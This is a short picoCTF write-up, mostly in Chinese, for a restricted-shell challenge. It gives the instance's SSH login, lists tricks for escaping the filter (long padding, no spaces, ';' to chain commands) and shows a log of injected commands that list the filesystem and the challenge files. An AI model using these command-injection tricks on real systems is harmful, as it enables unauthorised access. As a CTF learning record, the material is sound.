Start your instance to see connection details. ssh -p 52434 ctf-player@saturn.picoctf.net The password is 483e80d4 從 writeup 與測試中可以看出幾點，要讓指令有效有幾個方法 1. 指令前面贅字夠長 ( 似乎只有前幾個字會轉換 ) 2. 不能有空格除非補充指令 3. 加上;後可以隔絕前面的字符並讓後面的指令可被讀取 4. 不是所有指令都有效 ex: cd / 5. 部分指令加上""字串符號是有效 提示: 跟 challenge 有關 lslslsls;cd / sh: 1: Aaaaaaaaaaa: not found Special$ aaaaaaaaaaaaaa;ls Aaaaaaaaaaaaaa;ls sh: 1: Aaaaaaaaaaaaaa: not found blargh Special$ aaaaaaaaaa;cat blargh Aaaaaaaaaa;cat large sh: 1: Aaaaaaaaaa: not found cat: large: No such file or directory Special$ lslslsls;ls ../../ Lslslsls;ls ../../ sh: 1: Lslslsls: not found bin boot challenge dev etc home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var Special$ aaaaaaaaaaaa;ls ../../challenge Aaaaaaaaaaaa;ls ../../challenge sh: 1: Aaaaaaaaaaaa: not found config-box.py metadata.json pecial$ aaaaaaaaaaaa;ls ../../challenge Aaaaaaaaaaaa;ls ../../challenge sh: 1: Aaaaaaaaaaaa: not found config-box.py metadata.json